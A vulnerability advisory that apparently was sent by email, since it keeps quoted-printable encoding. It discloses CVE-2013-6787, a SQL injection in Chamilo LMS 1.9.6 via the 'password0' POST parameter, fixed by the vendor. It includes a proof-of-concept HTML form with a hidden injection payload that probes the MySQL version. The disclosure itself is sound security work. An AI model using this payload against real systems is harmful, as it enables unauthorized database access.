Advisory ID: HTB23182
Product: Chamilo LMS
Vendor: Chamilo Association
Vulnerable Version(s): 1.9.6 and probably prior
Tested Version: 1.9.6
Advisory Publication: November 6, 2013 [without technical details]
Vendor Notification: November 6, 2013=20
Vendor Patch: November 9, 2013=20
Public Disclosure: November 27, 2013=20
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-6787
Risk Level: Medium=20
CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Chamilo =
LMS, which can be exploited to perform SQL Injection attacks.
1) SQL Injection in Chamilo LMS: CVE-2013-6787
The vulnerability exists due to insufficient validation of "password0" HTTP=
POST parameter passed to "/main/auth/profile.php" script. A remote authent=
icated attacker can execute arbitrary SQL commands in application's databas=
e.
The following exploitation example displays version of MySQL server:
<form action=3D"http://[host]/main/auth/profile.php" method=3D"post" name=
=3D"main">
<input type=3D"hidden" name=3D"password0" value=3D"' OR substring(version(=
),1,1)=3D5 -- ">
<input type=3D"hidden" name=3D"password1" value=3D"password">
<input type=3D"hidden" name=3D"password2" value=3D"password">
<input type=3D"hidden" name=3D"apply_change" value=3D"">
<input type=3D"hidden" name=3D"firstname" value=3D"first_name">
<input type=3D"hidden" name=3D"lastname" value=3D"last_name">
<input type=3D"hidden" name=3D"username" value=3D"username">
<input type=3D"hidden" name=3D"official_code" value=3D"USER">
<input type=3D"hidden" name=3D"phone" value=3D"">
<input type=3D"hidden" name=3D"language" value=3D"">
<input type=3D"hidden" name=3D"extra_mail_notify_invitation" value=3D"">
<input type=3D"hidden" name=3D"extra_mail_notify_message" value=3D"">
<input type=3D"hidden" name=3D"extra_mail_notify_group_message" value=3D""=
>
<input type=3D"hidden" name=3D"_qf__profile" value=3D"">
<input type=3D"hidden" name=3D"" value=3D"">
<input type=3D"submit" id=3D"btn">
</form>
Successful exploitation of this vulnerability requires that the application=
is configured during installation not to encrypt users' passwords ("Encryp=
tion method" option is set to "none").
---------------------------------------------------------------------------=
--------------------
Solution:
Edit the source code and apply changes according to vendor's instructions:=
=2E
More Information:
https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues#Issue-=
10-2013-11-06-Moderate-risk-SQL-Injection-in-specific-unrecommended-case
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23182 - https://www.htbridge.com/advisory/=
HTB23182 - SQL Injection in Chamilo LMS.
[2] Chamilo LMS - http://www.chamilo.org/ - Chamilo aims at bringing you th=
e best e-learning and collaboration platform in the open source world.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.